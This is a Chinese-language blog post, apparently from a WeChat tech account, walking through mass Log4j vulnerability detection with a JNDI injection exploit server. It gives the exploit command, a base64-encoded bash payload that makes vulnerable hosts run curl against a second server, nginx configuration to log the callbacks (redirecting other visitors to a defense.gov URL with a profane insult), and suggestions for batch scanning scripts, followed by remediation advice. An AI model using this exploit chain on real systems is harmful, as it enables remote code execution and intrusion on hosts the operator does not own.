前言:之前看了浅蓝的文章,感觉略有启发,作为检测手段,不管是dnslog类型还是直接远程请求bash类型,都是存在入侵行为的,起码日志里面记录了相关的访问内容,不过只要请求内容不涉密,不获取数据,不篡改目标内容,基本不会造成严重危害,当然dos漏洞除外。
**0x01 准备两台发包服务器
**
准备两台发包服务器
45.141.xxx.xxx(攻击机,JNDI服务器)
193.233.xxx.xxx(web服务器)
**0x02 架设JNDI服务
**
45.141.xxx.xxx服务器架设JNDI服务
cmd
curl http://193.233.xxx.xxx/`netstat -lntpa | grep '45.141.xxx.xxx' | awk '{print $4}' |head -n 1` --user-agent "cunzai"
JNDI服务命令语句
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "cmd"
cmd为上面的cmd语句
cmd可以base64编码
编码便捷网站
https://www.jackson-t.ca/runtime-exec-payloads.html
编码后格式
bash -c {echo,Y3VybCBodHRwOi8vMTkzLjIzMy54eHgueHh4L2BuZXRzdGF0IC1sbnRwYSB8IGdyZXAgJzQ1LjE0MS54eHgueHh4JyB8IGF3ayAne3ByaW50ICQ0fScgfGhlYWQgLW4gMWAgLS11c2VyLWFnZW50ICJjdW56YWki}|{base64,-d}|{bash,-i}
启动JNDI服务
0x03 web服务器设置
193.233.xxx.xxx(web服务器)
本次测试采用ubuntu系统
搭建nginx的web容器
nginx 配置文件
/etc/nginx/nginx.conf
`user www-data;``worker_processes auto;``pid /run/nginx.pid;``include /etc/nginx/modules-enabled/*.conf;``events {` `worker_connections 43768;``}``http {` `sendfile on;` `tcp_nopush on;` `types_hash_max_size 2048;` `include /etc/nginx/mime.types;` `default_type application/octet-stream;` `ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE` `ssl_prefer_server_ciphers on;` `access_log /var/log/nginx/access.log ;` `error_log /var/log/nginx/error.log;` `log_format main '$remote_addr - $remote_user [$time_local] "$request" '` `'$status $body_bytes_sent "$http_referer" '` `'"$http_user_agent" "$http_x_forwarded_for"';` `gzip on;` `include /etc/nginx/conf.d/*.conf;` `include /etc/nginx/sites-enabled/*;``}`
default文件
/etc/nginx/sites-enabled/default
`server {` `listen 80 default_server;` `root /var/www/html;` `index index.html index.htm index.nginx-debian.html;` `server_name _;` `if ($http_user_agent !~* "cunzai") {` `rewrite ^/(.*)$ https://www.defense.gov/FUCKUSA permanent;` `}` `location / {` `try_files $uri $uri/ =404;` `}``}`
cunzai那里自己改一下,还有不存在则跳转的链接
启动web服务器
nginx -c /etc/nginx/nginx.conf
如果原来就启动了nginx,直接关闭进程名nginx的进程
pkill -9 nginx
0x04 批量脚本
看咩啊?
批量脚本自己写咯,或者修改我之前发的,自己添加参数,修改请求类型就OK了。
0x05 脚本执行
脚本执行以后是这样的
至于是什么请求,自己修改脚本的时候可以自定义
POST,GET,DELETE,PUT,CONNECT,TRACE
至于有人问如果web访问日志获取到的是内网IP咋整?
自己的资产,内网IP对应哪台服务器难道不知道嘛,又没让扫别人的网络资产。
**0x06 原理
**
攻击机让被检测主机访问jndi服务。
jndi服务引导被检测主机执行curl命令去访问web服务器。
访问web服务器的时候带上了被检测时和攻击机连接的本地IP。
查看web服务器日志就能知道哪些IP存在漏洞去执行了jndi挂载的命令。
**0x07 修复方案
**
1、提高jdk
2、升级log4j
3、安装防火墙(云盾,绿盟、天融信、安恒防火墙都有拦截功能)
4、迁移到公有云(大厂对log4j漏洞利用都有检测和拦截)
5、向安全运维工程师求救,直接给服务器做手术(降权、修改默认服务器命令、设置白名单访问IP)
6、向渗透测试工程师求救,重新对资产进行挨个参数检测确认是否存在log4j漏洞
0x08 声明
本文提到的B段IP只是便于区分攻击机和web服务器。
本文提到的检测手段具有攻击性,请对自己的服务器进行检测。
windows上的检测命令需要的群内咨询
end
投稿方式
联系公众号:Golden-Qianjiang
金色钱江,讲述杭州IT精英的成长之路!
关注金色钱江,体验全能技术王者之路!